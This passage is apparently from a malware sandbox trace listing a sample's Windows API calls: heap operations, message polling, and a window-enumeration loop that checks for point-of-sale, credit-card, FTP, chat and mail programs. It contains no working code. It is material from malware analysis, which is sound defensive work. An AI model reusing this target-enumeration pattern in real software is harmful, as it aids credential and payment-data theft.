RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0132.808] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0132.808] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0132.808] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0132.808] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0132.809] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.809] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.809] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.810] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.810] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0132.810] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0132.810] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0132.810] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0132.810] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0132.810] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0132.810] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0132.810] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.811] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0132.811] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.811] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.811] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0132.811] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0132.811] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0132.811] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0132.811] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.811] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0132.811] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.812] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0132.812] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.812] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0132.812] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0132.812] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0132.812] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0132.812] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0132.812] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0132.812] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d80 [0132.812] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d80 | out: hHeap=0xe80000) returned 1 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.813] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.814] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.825] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.825] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.826] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.826] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.826] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.826] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.826] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0132.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0132.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x1055650, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0132.826] GetProcAddress (hModule=0x75a50000, lpProcName="CryptDestroyHash") returned 0x75a702a0 [0132.826] CryptDestroyHash (hHash=0x10160c0) returned 1 [0132.826] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.826] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.826] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0132.827] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.827] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0132.827] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.827] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0132.827] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.827] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.827] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.828] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.828] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.828] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.828] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.828] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.828] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.828] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.829] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.829] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.829] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.829] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.829] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.829] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.829] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.829] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.830] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.830] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0132.830] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0132.830] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0132.830] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.830] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.830] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.830] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0132.831] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.831] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0132.831] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.831] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.831] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.831] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.831] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.832] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.832] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.832] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0132.832] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.833] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.833] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.833] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0132.833] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.833] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0132.833] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.834] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.834] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.834] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0132.834] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.834] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.834] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.834] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0132.834] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0132.835] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0132.835] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.835] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.835] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.835] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.835] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.835] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.836] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0132.836] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0132.836] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.836] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.836] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0132.836] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0132.836] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0132.836] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0132.837] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0132.837] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0132.837] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0132.837] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0132.837] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0132.837] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0132.837] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Education") returned 9 [0132.838] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0132.838] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0132.838] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0132.838] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0132.838] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0132.838] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0132.838] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0132.838] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0132.839] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0132.839] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0132.839] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0132.839] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0132.839] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0132.839] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0132.839] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0132.839] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0132.840] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0132.840] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0132.840] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0132.840] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0132.840] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0132.840] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0132.840] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0132.841] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0132.841] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0132.841] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0132.841] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0132.841] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0132.841] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0132.841] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0132.841] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0132.842] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0132.842] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0132.842] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0132.842] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0132.842] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0132.842] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0132.842] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0132.842] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0132.843] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Skype") returned 5 [0132.843] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0132.843] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0132.843] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0132.843] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0132.843] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdead8, nMaxCount=1024 | out: 